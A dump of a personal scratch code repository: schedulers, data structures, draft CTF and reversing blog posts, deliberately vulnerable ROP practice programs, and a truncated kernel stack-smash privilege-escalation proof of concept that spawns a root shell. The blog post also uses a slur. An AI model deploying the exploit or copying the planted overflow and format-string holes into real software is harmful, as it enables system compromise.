├── .gitignore ├── LÖVE └── le_game │ └── main.lua ├── README.md ├── blog ├── fb50.md ├── what-are-ctfs-and-why-you-should-care.md └── writing-your-own-disassembler-in-python.md ├── c ├── a.out ├── caf │ ├── caf │ └── caf.c ├── chrg.c ├── curl.c ├── datastructures │ ├── circularll.cpp │ ├── doublell.c │ └── linkedlist.c ├── fcfs.c ├── ldwn.c ├── lfu.c ├── lru.c ├── mft.c ├── mvt.c ├── notify.c ├── pm ├── pm.c ├── prio.c ├── pwcmd.c ├── roplevel1.c ├── roplevel2.c ├── roplevel3.c ├── roplevel4.c ├── roplevel5.c ├── rr.c ├── sjf.c ├── stacksmash_poc.c ├── strtoktest.c ├── sttest ├── stttest ├── syscall_test.txt ├── test.c ├── x.py └── xfttest │ ├── Makefile │ ├── xftest │ └── xftest.c ├── cli └── cli.md ├── exploits ├── 2017.pl ├── 52973.py ├── 5720.py ├── decrypt_cpassword.rb ├── drupalgeddon2.rb ├── exim4.sh ├── hz.py ├── nodered.py ├── pma_4.8.x_rce.rb ├── prtg.py ├── redox │ └── req.txt └── ta │ ├── notes │ ├── report.md │ ├── req1.txt │ └── req2.txt ├── go └── main.go ├── ideas ├── cli-alarm.md ├── icy-css.md ├── markdown-powered-taskrunner.md ├── python-embedded-templating.md └── short-story-reader.md ├── js ├── bot.js ├── cards.js ├── challenge.js ├── fuzzy-fuse.js ├── fuzzy.js ├── hello-next │ ├── components │ │ ├── Header.js │ │ └── Layout.js │ ├── next.config.js │ ├── package-lock.json │ ├── package.json │ └── pages │ │ ├── about.js │ │ └── index.js ├── indian-cities.js ├── package-lock.json └── rand.js ├── nim ├── add.nim ├── another_color.nim ├── asyncc.nim ├── benchmarking │ └── crap │ │ └── setup.sh ├── blockchain │ ├── .gitignore │ ├── README.md │ └── src │ │ └── main.nim ├── c_funcs.nim ├── chall.nim ├── chat.nim ├── cli.nim ├── colors.nim ├── colors2.nim ├── colors3.nim ├── e.nim ├── envstuff.nim ├── expandfilename.nim ├── exportt │ ├── exports.nim │ └── exportspkg │ │ └── hello.nim ├── fabtest.nim ├── fib.nim ├── file.nim ├── forincasething.nim ├── format.nim ├── git.nim ├── jest.nim ├── karax │ └── test.nim ├── libpynim.so ├── logic.c ├── lowdown │ ├── x │ └── x.nim ├── main.nim ├── math.c ├── med.nim ├── metaprogramming │ ├── closureiterators.nim │ ├── macros_.nim │ └── parsenum.nim ├── moreasync.nim ├── movefile.nim ├── nanoidtest.nim ├── netw.nim ├── opts.nim ├── parentdirs.nim ├── ponies.nim ├── primes.nim ├── print.c ├── print_c.nim ├── proc.nim ├── py_nim │ ├── fast_nimpy.nim │ ├── fast_nimpy.so │ ├── nimpy_test.nim │ ├── nimpy_test.py │ ├── nimpy_test.so │ └── slow_py.py ├── pynim.nim ├── pynim.py ├── rand.nim ├── randomtest.nim ├── re.nim ├── readline.nim ├── scf │ ├── test.nimf │ ├── x │ └── x.nim ├── sdl.nim ├── seq.nim ├── shell.nim ├── shell │ ├── stage1 │ └── stage1.nim ├── so.nim ├── sockets.nim ├── split.nim ├── stdin_sockets.nim ├── test.nim ├── test2.nim ├── test3.nim ├── testing.nim ├── time.nim ├── tuples.nim ├── types.nim ├── uni.nim ├── x11 │ ├── example.nim │ └── tinywm.nim └── zipp.nim ├── python ├── brutelent.py ├── cursess.py ├── discount │ ├── libmarkdown.so │ ├── test.md │ └── x.py ├── dos.py ├── inviteCode.py ├── keys.txt ├── litera │ ├── .gitignore │ ├── README.md │ ├── helpers │ │ └── template.py │ └── litera │ │ └── main.py ├── make.py ├── mom │ └── test.py ├── mqtt.py ├── np.py ├── poly.pl.php.py.rb.cpp.m ├── python-in-html │ ├── test.html │ └── xmlparsing.py ├── repl.py ├── replace_line.py ├── rss │ ├── feed.xml │ ├── feed.xml.jinja2 │ ├── pages │ │ └── blog │ │ │ ├── fb50.md │ │ │ ├── my-setup.md │ │ │ ├── python-for-re-1.md │ │ │ └── rop-on-arm.md │ └── rss.py ├── runqueue.py ├── substr_line.py ├── tcp.py ├── test.txt ├── thread_flood.py ├── threadd.py └── update_index.py ├── reversing-elf ├── bin.c ├── debug.py ├── disas1.py ├── disasmain.py ├── notes ├── relocations.py └── sections.py ├── reversing-pe ├── chall.c ├── chall.exe └── disas1.py ├── rop ├── .gdb_history ├── ex_ret2win.py ├── ex_split.py └── flag.txt ├── ruby ├── file.rb ├── methods.rb ├── repl.rb ├── shell.rb └── test.rb ├── rust ├── game │ ├── Cargo.lock │ ├── Cargo.toml │ ├── src │ │ └── main.rs │ └── target │ │ └── debug │ │ ├── .cargo-lock │ │ ├── .fingerprint │ │ └── game-3859b3424b492d98 │ │ │ ├── bin-game-3859b3424b492d98 │ │ │ ├── bin-game-3859b3424b492d98.json │ │ │ └── dep-bin-game-3859b3424b492d98 │ │ ├── deps │ │ └── game-3859b3424b492d98 │ │ ├── game │ │ └── game.d ├── new │ ├── Cargo.lock │ ├── Cargo.toml │ ├── src │ │ └── main.rs │ └── target │ │ └── debug │ │ ├── .cargo-lock │ │ ├── .fingerprint │ │ └── new-9db1ec45ec27405f │ │ │ ├── bin-new-9db1ec45ec27405f │ │ │ ├── bin-new-9db1ec45ec27405f.json │ │ │ └── dep-bin-new-9db1ec45ec27405f │ │ ├── deps │ │ └── new-9db1ec45ec27405f │ │ ├── new │ │ └── new.d └── rocket │ ├── Cargo.lock │ ├── Cargo.toml │ └── src │ └── main.rs ├── sh ├── colors2.sh ├── curling.sh ├── exim4.sh ├── oxo.sh ├── postgame.sh ├── pregame.sh ├── pw-completion.bash ├── repl.sh ├── socksify.sh ├── spaceinvaders.sh ├── substr.sh ├── text.html └── text.html.esh ├── transcripts └── content-writing.txt ├── txt ├── arm_exp.txt ├── discrete-math ├── dungeons.json ├── fastrack.txt ├── oklok.txt ├── pb.txt ├── s443-recruitment.eml ├── sem-5-plan.txt ├── sl7-progress.txt └── smm.txt ├── typescript └── test.ts ├── uni ├── bookshop │ ├── .gdb_history │ ├── book.dat │ ├── main │ └── main.cpp └── notes │ ├── csa.md │ └── pqt-unit4.md ├── vala └── testApp │ └── src │ └── Application.vala ├── webshit ├── index.html ├── openring │ ├── in.html │ └── out.html └── vue-test │ ├── .gitignore │ ├── README.md │ ├── babel.config.js │ ├── package-lock.json │ ├── package.json │ ├── public │ ├── favicon.ico │ └── index.html │ └── src │ ├── App.vue │ ├── assets │ └── logo.png │ ├── components │ └── HelloWorld.vue │ └── main.js └── writeups └── s443-recruitment-ctf.md /.gitignore: -------------------------------------------------------------------------------- 1 | **/nimcache/ 2 | node_modules 3 | -------------------------------------------------------------------------------- /LÖVE/le_game/main.lua: -------------------------------------------------------------------------------- 1 | function love.load() 2 | x, y, w, h = 20, 20, 60, 20 3 | end 4 | 5 | function love.update(dt) 6 | w = w + 1 7 | h = h + 1 8 | end 9 | 10 | function love.draw() 11 | love.graphics.print("hi fam", 400, 300) 12 | love.graphics.rectangle("fill", x, y, w, h) 13 | end 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # asdf 2 | > scrapped ideas and garbage code 3 | 4 | I use this as my dumping ground/test bed. There's nothing worthwhile here, trust me. 5 | -------------------------------------------------------------------------------- /blog/what-are-ctfs-and-why-you-should-care.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: What are CTFs and Why You Should Care 3 | status: draft 4 | tags: ['infosec', 'hacking', 'CTF'] 5 | --- 6 | 7 | You’re not a “security professional” if you don’t play CTFs. No, I’m not gatekeeping. 8 | 9 | # A quick intro to CTFs 10 | 11 | “Capture The Flag” (ah finally, the expansion) is a competetion between security professionals or people studying cyber security. They are challenges which help the player learn about the real world applications of IT security principles. 12 | 13 | Still don’t get it? Okay, think of a corporate network infrastructure, complete with a web application, centralized authentication like Kerberos, designed with a few security flaws. Something that a lazy sysadmin might’ve made. 14 | 15 | You now have a typical CTF challenge. The task is to break into the system(s), escalate privileges and grab the root flag, which is usually a text file that can only be read by the `root` user. 16 | 17 | How, you might ask. Well, that’s the challenge isn’t it? If you really are in infosec, you shouldn’t be asking this. But for those of you who aren’t in infosec or just getting started, read on. 18 | 19 | # Why should I even bother? 20 | 21 | Think competetive programming, but for security professionals. If developers are hired based on their competetive programming ability (which is a pretty bad metric, IMO), security pros are hired, or should be hired, based on their ability to solve CTF challenges. 22 | 23 | More than your technical ability, it also showcases your ability to approach the challenge itself. Let’s consider the previous example. If running an `nmap` scan on the target IP shows you a publicly browsable Active Directory share, but instead you decide to bruteforce the login page on the webapp — you’re a retard who should go back to the JS dev cesspit. 24 | 25 | # Well okay, but how do I solve these challenges? 26 | 27 | That’s a tough question to answer. To start with, you’ll need to understand computers and computery things work intrinsically. Do a CS degree. As much of a meme it may be, let’s face it, you don’t know it all. 28 | 29 | CTFs generally incorporate various facets of infosec into one single challenge. Which also means that you’ll need to know at least the basics of everything. 30 | 31 | Here are a few things part of the “everything”, that you *need* to know: 32 | 33 | - **Web security fundamentals**: [OWASP Top 10](https://www.owasp.org/index.php/Top_10-2017_Top_10) is a great place to start. 34 | - **Linux and its fundamentals**: I feel like this should be taught in school, instead of garbage like MS Word and Excel. 35 | - **Networking and cryptography**: The different protocol stacks, modern cryptography techniques 36 | - **Low-level programming**: x86 Assembly, registers, stacks 37 | - **Reverse engineering and binary exploitation**: Decompiling a binary, buffer overflows, heap overflows etc. 38 | - **Basic forensics**: Filesystems, data recovery, scanning logs and network captures 39 | - **Steganography principles**: detecting stego, file signatures, etc. 40 | 41 | “Okay, I’ve done all of this. Can I start now?” Sure, you can, but it’s still a long way from here. You will find your first few CTFs completely overwhelming, without a clue on how to begin. 42 | 43 | For this, I suggest reading write-ups of challenges. Platforms like [Root Me](https://root-me.org) have VMs that you can spin up on demand to practice against. All these VMs have write-ups. Once you feel confident with your procedures and techniques, head to [HackTheBox](https://hackthebox.eu). Here comes the second shocker. None of the active boxes have write-ups. You’ll have to solve them with the help of hints from the forums. 44 | 45 | During your journey, you’ll come across various tools, techniques, procedures, different kinds of environments and how to adapt to each one of them. You may even have to write your own tools to solve some challenges. It’s not going to be easy, but it’ll definitely be rewarding. 46 | 47 | # Arguments against CTFs 48 | 49 | **“bUt CtFs aRe jUsT sTeGo/cRyPtO rIdDeN TiMeSiNkS!”** 50 | 51 | If it is, then it’s a bad CTF. Plain and simple. 52 | 53 | # Conclusion 54 | 55 | Every box teaches you something new, and at least in my case, helped me overcome my inferiority complex when I solved one without any hints/help. There’s no hard and fast rule to approaching a CTF. Be creative, approach it from multiple perspectives. It can be very easy to fall into a rabbit hole when the actual solution is staring at you in the face. 56 | 57 | Keep playing, build an intuition for it, and don’t forget to stay hydrated. 58 | 59 | ------------------------ 60 | 61 | I’m Anirudh but I go by “icyphox” on the Internet. 62 | 63 | ## Links 64 | 65 | - [GitHub](https://github.com/icyphox) 66 | - [Website](https://icy.ph0x.me) 67 | - [Twitter](https://twitter.com/icyphox) 68 | 69 | Don’t hesitate to shoot me a mail at [icyph0x@pm.me](mailto:icyph0x@pm.me). 70 | 71 | -------------------------------------------------------------------------------- /blog/writing-your-own-disassembler-in-python.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Reversing ELF and PE binaries with Python 3 | status: draft 4 | tags: ['python', 'reverse engineering', 'security'] 5 | --- 6 | 7 | Given a PE or an ELF file to reverse, we often use tools like radare2 or 8 | IDA for debugging and disassembly. But rolling your own scripts for this 9 | gives you a lot more control over the process, and perhaps, give you 10 | deeper insight into what really goes on under the hood. 11 | 12 | # Setup 13 | 14 | As the title suggests, you’re going to need a Python 3 interpreter before 15 | anything else. Once you’ve confirmed beyond reasonable doubt that you do, 16 | infact, have a Python 3 interpreter installed on your system, run 17 | 18 | ``` 19 | $ pip install capstone pyelftools pefile 20 | ``` 21 | 22 | where *capstone* is the disassembly engine we’ll be scripting with, and 23 | the other two are modules to parse ELF and PE files. 24 | 25 | With that out of the way, let’s start with an example of a basic reversing 26 | challenge. 27 | 28 | ```C 29 | /* chall.c */ 30 | 31 | #include 32 | #include 33 | #include 34 | 35 | int main() { 36 | char pw[9]; 37 | pw[0] = 'a'; 38 | for(int i = 1; i <= 8; i++){ 39 | pw[i] = pw[i - 1] + 1; 40 | } 41 | pw[9] = '\0'; 42 | char *in = malloc(10); 43 | printf("password: "); 44 | fgets(in, 10, stdin); 45 | if(strcmp(in, pw) == 0) { 46 | printf("haha yes!\n"); 47 | } 48 | else { 49 | printf("nah dude\n"); 50 | } 51 | } 52 | ``` 53 | 54 | # Reversing 55 | 56 | -------------------------------------------------------------------------------- /c/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/c/a.out -------------------------------------------------------------------------------- /c/caf/caf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/c/caf/caf -------------------------------------------------------------------------------- /c/caf/caf.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void caf(char *in_buf) { 5 | for(char c = *in_buf++; c != '\x00'; c = *in_buf++) { 6 | if(c == 'A') { 7 | printf("blocked!\n"); 8 | exit(-1); 9 | } 10 | } 11 | } 12 | 13 | void caftest() { 14 | char buf[256] = {0}; 15 | printf("\nenter payload:\n"); 16 | gets(buf); 17 | caf(buf); 18 | printf(buf); 19 | } 20 | 21 | int main(int argc, char* argv[]) { 22 | while(1) { 23 | caftest(); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /c/chrg.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define FILE_PATH "syscall_test.txt" 8 | 9 | int main(){ 10 | //Varibale definations 11 | int fd; 12 | FILE *fp; 13 | char ch; 14 | 15 | fd = open(FILE_PATH, O_RDONLY); 16 | 17 | if (fd == -1){ 18 | printf("[!]Error can't open file\n"); 19 | } else { 20 | printf("[*]File opened successfully!\n"); 21 | printf("[*]Contents of file are:\n"); 22 | fp = fdopen(fd, "r"); 23 | 24 | while((ch = fgetc(fp)) != EOF){ 25 | printf("%c", ch); 26 | } 27 | 28 | close(fp); 29 | } 30 | 31 | close(fd); 32 | 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /c/curl.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(){ 4 | CURL *curl = curl_easy_init(); 5 | if(curl) { 6 | CURLcode res; 7 | curl_easy_setopt(curl, CURLOPT_URL, "http://neverssl.com"); 8 | res = curl_easy_perform(curl); 9 | curl_easy_cleanup(curl); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /c/datastructures/circularll.cpp: -------------------------------------------------------------------------------- 1 | class node { 2 | public: 3 | int data; 4 | node* next; 5 | 6 | node() { 7 | data = 0; 8 | next = NULL; 9 | } 10 | 11 | node(int x) { 12 | data = x; 13 | next = NULL; 14 | } 15 | }; 16 | 17 | class circular { 18 | public: 19 | node *head; 20 | int addfront(node *n); 21 | int isempty(); 22 | int addatend(node *n); 23 | node *search(int k); 24 | node *deletenode(int x); 25 | 26 | circular() { 27 | head = NULL; 28 | } 29 | }; 30 | 31 | int circular::addfront(node *n) { 32 | int i = 0; 33 | if(head == NULL) { 34 | n->next = head; 35 | head = n; 36 | i++; 37 | } 38 | 39 | else { 40 | n->next = head; 41 | node* last = getlast(); 42 | last->next = n; 43 | head = n; 44 | i++; 45 | } 46 | 47 | return i; 48 | } 49 | 50 | /* insertion at last 51 | * if head is null, n.next is null 52 | * else, last.next = n 53 | * n.next = head */ 54 | 55 | /* searchign for an element x 56 | * ptr = head 57 | * while ptr is not null AND ptr.data is not x 58 | * ptr = ptr.next 59 | * return ptr*/ 60 | 61 | /* deleting a node n 62 | * if it's the first node, set head.next to n.next 63 | * update last.next to point to new head 64 | * if node is in the middle, find it's pos and make its 65 | * prev node point to next node 66 | * if node is at the end, remove it and make the new last node point to head 67 | * */ 68 | 69 | -------------------------------------------------------------------------------- /c/datastructures/doublell.c: -------------------------------------------------------------------------------- 1 | void insertfirst(int key, int data) { 2 | struct node *link = (struct node*) malloc(sizeof(struct node)); 3 | link->key = key; 4 | link->data = data; 5 | 6 | if(isempty()) { 7 | // make it last 8 | last = link; 9 | } 10 | else { 11 | // update prev of first 12 | head->prev = link; 13 | } 14 | 15 | // point to old first 16 | link->next = head; 17 | head = link; 18 | } 19 | 20 | struct node* deletefirst() { 21 | struct node *temp = head; 22 | 23 | // if only one link 24 | if(head->next = NULL) { 25 | last = NULL; 26 | } 27 | else { 28 | head->next->prev = NULL; 29 | } 30 | head = head->next; 31 | return temp; 32 | } 33 | 34 | void insertlast(int key, int data) { 35 | // create link 36 | 37 | if(isempty()) { 38 | last = link; 39 | } 40 | else { 41 | last-next = link; 42 | last-prev = last; 43 | } 44 | last = link; 45 | } 46 | 47 | -------------------------------------------------------------------------------- /c/datastructures/linkedlist.c: -------------------------------------------------------------------------------- 1 | void insertfirst(int key, int data) { 2 | struct node *link = (struct *node) malloc(sizeof(struct node)); 3 | link->key = key; 4 | link->data = data; 5 | link->next = head; 6 | head = link; 7 | } 8 | 9 | struct node* deletefirst() { 10 | struct node *temp = (struct *node) malloc(sizeof(struct node)); 11 | head = head->next; 12 | 13 | return temp; 14 | } 15 | 16 | void printlist() { 17 | struct node *ptr; 18 | printf("\n["); 19 | while(ptr != NULL) { 20 | printf("(%d. %d)", ptr->key, ptr->data); 21 | ptr = ptr->next; 22 | } 23 | printf("]"); 24 | } 25 | 26 | struct node* deletenode(int x) { 27 | struct node *n = search(x); 28 | struct node *ptr = head; 29 | if (ptr == n) { 30 | ptr->next = n->next; 31 | return n; 32 | } 33 | else { 34 | while(ptr->next != n) { 35 | ptr = ptr->next; 36 | } 37 | ptr->next = n->next; 38 | return n; 39 | } 40 | } 41 | 42 | -------------------------------------------------------------------------------- /c/fcfs.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() { 4 | int n, i, a, b, f = 0, t = 0, w = 0; 5 | printf("n: "); 6 | scanf("%d", &n); 7 | for(i=0;i 2 | 3 | -------------------------------------------------------------------------------- /c/lfu.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | void main() 4 | { 5 | int q[20],p[50],c=0,c1,d,f,i,j,k=0,n,r,t,b[20],c2[20]; 6 | printf("Enter no of pages:"); 7 | scanf("%d",&n); 8 | printf("Enter the reference string:"); 9 | for(i=0;i 2 | void main() 3 | { 4 | int g=0,a[5],b[20],p=0,q=0,m=0,h,k,i,q1=1,j,u,n; char f='F'; 5 | printf("Enter the number of pages:"); scanf("%d",&n); printf("Enter %d Page Numbers:",n); for(i=0;i=3) q=0; 10 | a[q]=b[i]; q++; 11 | if(q1<3) 12 | { 13 | q1=q; 14 | //g=1; 15 | } 16 | } 17 | printf("\n%d",b[i]); printf("\t"); for(h=0;h%c",f);m++; 21 | } p=0; g=0; 22 | if(q1==3) 23 | { 24 | for(k=0;k=(i-1)&&(k>=0)) 31 | { 32 | if(b[k]==a[j]) u++;k--; 33 | } 34 | if(u==0) q=j; 35 | } 36 | } 37 | else 38 | { 39 | for(k=0;k 2 | int main() 3 | { 4 | int m,p,s,p1; 5 | int m1[4],i,f,f1=0,f2=0,fra1,fra2,s1,pos; printf("Enter the memory size:"); scanf("%d",&m); printf("Enter the no of partitions:"); scanf("%d",&p); s=m/p; 6 | printf("Each partn size is:%d",s); printf("\nEnter the no of processes:"); scanf("%d",&p1); pos=m; 7 | for(i=0;is) 23 | { 24 | s1=s1-s;pos=pos-s; 25 | } 26 | pos=pos-s;fra2=s-s1;f2=f2+fra2; 27 | printf("\nExternal Fragmentation for this process is:%d",fra2); 28 | } 29 | } 30 | } 31 | printf("\nProcess\tallocatedmemory"); for(i=0;i 2 | void main() 3 | { 4 | int m=0,m1=0,m2=0,p,count=0,i; 5 | printf("enter the memory capacity:"); scanf("%d",&m); printf("enter the no of processes:"); scanf("%d",&p); for(i=0;i 2 | #include 3 | #define NOTIFY 1 4 | 5 | int main() { 6 | char cmd[256]; 7 | if (NOTIFY) { 8 | snprintf(cmd, sizeof(cmd), "notify-send \"%s @ %s\" \"%s\"", "test", "#channel", "some message"); 9 | system(cmd); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /c/pm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/c/pm -------------------------------------------------------------------------------- /c/pm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() { 5 | char *m = "/q some message here"; 6 | char *p = m; 7 | m = p + 1 + (p[2] == ' '); 8 | if (!(p = strchr(m, ' '))) 9 | printf("returning"); 10 | *p++ = 0; 11 | printf("PRIVMSG %s :%s", m, p); 12 | 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /c/prio.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | void main() 5 | { 6 | int et[20],at[10],n,i,j,temp,p[10],st[10],ft[10],wt[10],ta[10]; int totwt=0,totta=0; float awt,ata; 7 | char pn[10][10],t[10]; 8 | printf("Enter the number of process:"); scanf("%d",&n); for(i=0;i 2 | #include 3 | #include 4 | 5 | #define PWCMD "pw -s ircpass" 6 | 7 | int main() { 8 | FILE *fp = popen(PWCMD, "r"); 9 | char key[128]; 10 | printf("running cmd!\n"); 11 | if (fp == NULL) 12 | printf("failed to run command!"); 13 | 14 | fgets(key, 128, fp); 15 | pclose(fp); 16 | char key0[128]; 17 | printf("reading from env!\n"); 18 | strcpy(key0, getenv("IRCPASS")); 19 | key[strcspn(key, "\n")] = 0; 20 | if(!strcmp(key, key0)) { 21 | printf("same"); 22 | } 23 | else 24 | printf("nope"); 25 | } 26 | -------------------------------------------------------------------------------- /c/roplevel1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | char string[] = "date"; 7 | 8 | void change(){ 9 | 10 | strcpy(string,"ls"); 11 | printf("string changed.\n"); 12 | 13 | } 14 | 15 | void secret(){ 16 | 17 | printf("executing string...\n"); 18 | 19 | system(string); 20 | } 21 | 22 | int main(){ 23 | 24 | printf("Welcome to ROPLevel1 for ARM! Created by Billy Ellis (@bellis1000)\n"); 25 | 26 | char buff[12]; 27 | gets(buff); 28 | 29 | return 0; 30 | } -------------------------------------------------------------------------------- /c/roplevel2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | char str1[] = "uname -a"; 7 | char str2[] = "touch pwned.txt"; 8 | char str3[] = "ls -sail"; 9 | 10 | void winner(){ 11 | 12 | printf("Nothing interesting here...\n"); 13 | system("# this does nothing..."); 14 | exit(0); 15 | } 16 | 17 | void gadget(){ 18 | 19 | __asm__("pop {r0,pc}\n"); 20 | } 21 | 22 | int main(){ 23 | 24 | char buff[16]; 25 | 26 | printf("Welcome to ROPLevel2 created by Billy Ellis (@bellis1000)\n"); 27 | printf("The objective of this level is to execute a shell command of your choice by using a ROP gadget followed by jumping to system()\n"); 28 | printf("Good luck: "); 29 | 30 | scanf("%s",buff); 31 | 32 | printf("Nice try ;)\n"); 33 | 34 | return 0; 35 | } -------------------------------------------------------------------------------- /c/roplevel3.c: -------------------------------------------------------------------------------- 1 | #import 2 | #import 3 | #import 4 | #import 5 | 6 | int internal_mode = 0; 7 | 8 | 9 | void func(){ 10 | 11 | printf("Hello world! Welcome to a function - an function that does absolutely nothing!\n"); 12 | 13 | } 14 | 15 | void func_internal(){ 16 | 17 | printf("\x1b[33mWelcome to a more interesting function with developer-only functionality ;P\x1b[0m\nWhat would you like to do?\n[1] Touch a file\n[2] Spawn a shell\n[3] Quit function\n"); 18 | 19 | char input[1]; 20 | scanf("%s",input); 21 | 22 | if (strcmp(input,"1") == 0){ 23 | system("touch /created_by_roplevel3"); 24 | }else if(strcmp(input,"2") == 0){ 25 | system("/bin/sh"); 26 | }else if(strcmp(input,"3") == 0){ 27 | 28 | }else{ 29 | printf("Invalid option"); 30 | } 31 | 32 | } 33 | 34 | void validate(char func_id[]){ 35 | 36 | if (strcmp(func_id,"1") == 0){ 37 | func(); 38 | }else if(strcmp(func_id,"2") == 0){ 39 | if (internal_mode == 0){ 40 | printf("You do not have permission to launch this function.\n"); 41 | }else{ 42 | func_internal(); 43 | } 44 | }else if(strcmp(func_id,"3") == 0){ 45 | exit(0); 46 | }else{ 47 | printf("Invalid choice.\n"); 48 | } 49 | 50 | } 51 | 52 | 53 | void write_anywhere(){ 54 | 55 | __asm__("str r0, [r1]"); 56 | } 57 | 58 | void gadget(){ 59 | 60 | __asm__("pop {r0,r1,pc}"); 61 | } 62 | 63 | int main(){ 64 | 65 | int a = 1; 66 | 67 | printf("Welcome to ROPLevel3 by @bellis1000\n\n"); 68 | 69 | while (a == 1){ 70 | 71 | printf("Select an option:\n[1] Function\n[2] Function (internal)\n[3] Exit\n"); 72 | 73 | char input[8]; 74 | scanf("%s",input); 75 | 76 | validate(input); 77 | 78 | } 79 | 80 | return 0; 81 | } 82 | -------------------------------------------------------------------------------- /c/roplevel4.c: -------------------------------------------------------------------------------- 1 | // 2 | // ROPLevel4.c 3 | // 4 | // 5 | // Created by Billy Ellis on 20/05/2017. 6 | // 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | char leakme[] = "hello roplevel4"; 15 | 16 | void leak_address(){ 17 | 18 | printf("Address of leakme is: %p\n\n",leakme); 19 | char leak = []; 20 | sprintf(leak,"%p",leakme); 21 | 22 | FILE *f = fopen("/var/mobile/leak.txt","w"); 23 | fprintf(f,"%s",leak); 24 | 25 | } 26 | 27 | int main(){ 28 | 29 | char name[16]; 30 | 31 | system("clear"); 32 | 33 | printf("\x1B[35m================================================\n"); 34 | printf("Welcome to ROPLevel4 by Billy Ellis (@bellis1000)\n"); 35 | printf("================================================\x1B[0m\n\n"); 36 | 37 | printf("Leaking address...\n"); 38 | leak_address(); 39 | 40 | printf("Enter your name:\n"); 41 | scanf("%s",name); 42 | printf("Welcome, %s!\n",name); 43 | 44 | return 0; 45 | 46 | } 47 | -------------------------------------------------------------------------------- /c/roplevel5.c: -------------------------------------------------------------------------------- 1 | // 2 | // roplevel5.c 3 | // 4 | // 5 | // Created by Billy Ellis on 09/08/2017. 6 | // 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | char feedbackString[32]; 15 | char feedbackString2[32]; 16 | 17 | void give_feedback(){ 18 | 19 | printf("\033[1mLeave some feedback:\n"); 20 | char string[16]; 21 | scanf("%s",string); 22 | 23 | if (strcmp(string,"q") == 0){ 24 | exit(0); 25 | } 26 | 27 | char leakme[] = "AAAA"; 28 | 29 | printf(string); 30 | printf("\n"); 31 | 32 | sprintf(feedbackString,string,string); 33 | char leakme2[] = "BBBB"; 34 | sprintf(feedbackString2,feedbackString,feedbackString); 35 | 36 | FILE *f = fopen("/var/mobile/feedback.txt","w"); 37 | fprintf(f,"%s",feedbackString2); 38 | fclose(f); 39 | 40 | 41 | } 42 | 43 | void secret(){ 44 | 45 | printf("\n\x1b[32myou win ;)\n"); 46 | system("ls -sail"); 47 | 48 | } 49 | 50 | int main(){ 51 | 52 | printf("\033[1m\x1B[34m================================================\x1B[0m\n"); 53 | printf("\033[1mWelcome to ROPLevel5 by Billy Ellis (@bellis1000)\n"); 54 | printf("\x1B[34m================================================\x1B[0m\n\n"); 55 | 56 | int a = 1; 57 | 58 | 59 | 60 | while (a){ 61 | 62 | give_feedback(); 63 | 64 | sleep(1); 65 | 66 | } 67 | 68 | return 0; 69 | 70 | } 71 | 72 | -------------------------------------------------------------------------------- /c/rr.c: -------------------------------------------------------------------------------- 1 | #include 2 | void main() 3 | { 4 | int et[30],ts,n,i,x=0,tot=0; char pn[10][10]; 5 | printf("Enter the no of processes:"); scanf("%d",&n); 6 | printf("Enter the time quantum:"); scanf("%d",&ts); for(i=0;its) 16 | { 17 | x=x+ts; 18 | printf("\n %s -> %d",pn[i],ts); et[i]=et[i]-ts; 19 | } 20 | else if((et[i]<=ts)&&et[i]!=0) 21 | { 22 | x=x+et[i]; 23 | printf("\n %s -> %d",pn[i],et[i]); et[i]=0;} 24 | } 25 | } 26 | printf("\n Total Estimated Time:%d",x); 27 | } 28 | -------------------------------------------------------------------------------- /c/sjf.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void main() 5 | { 6 | int et[20],at[10],n,i,j,temp,st[10],ft[10],wt[10],ta[10]; int totwt=0,totta=0; float awt,ata; 7 | char pn[10][10],t[10]; 8 | printf("Enter the number of process:"); scanf("%d",&n); for(i=0;i 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | struct trap_frame{ 10 | void *eip; 11 | uint32_t cs; 12 | uint32_t eflags; 13 | void *esp; 14 | uint32_t ss; 15 | }; 16 | struct trap_frame tf; 17 | 18 | void launch_shell(){ 19 | execl("/bin/sh","sh",NULL); 20 | } 21 | 22 | void prepare_tf(){ 23 | asm("pushl %cs;" 24 | "popl tf+4;" //set cs 25 | "pushfl;" 26 | "popl tf+8;" //set eflags; 27 | "pushl %esp;" 28 | "popl tf+12;" //set esp; 29 | "pushl %ss;" 30 | "popl tf+16;"); //set ss; 31 | tf.eip = &launch_shell; 32 | tf.esp -= 1024; 33 | } 34 | 35 | #define KERNCALL __attribute__((regparm(3))) 36 | void (*commit_creds)(void *) KERNCALL = (void*)0xc10682e0; 37 | void *(*prepare_kernel_cred)(void *) KERNCALL = (void *)0xc1068480; 38 | 39 | void payload(void){ 40 | commit_creds(prepare_kernel_cred(0)); 41 | asm("mov $tf,%esp;" 42 | "iret;" 43 | ); 44 | } 45 | 46 | int main(){ 47 | char buf[24]={0}; 48 | memset(buf,'A',20); 49 | *(void **)(buf+20) = 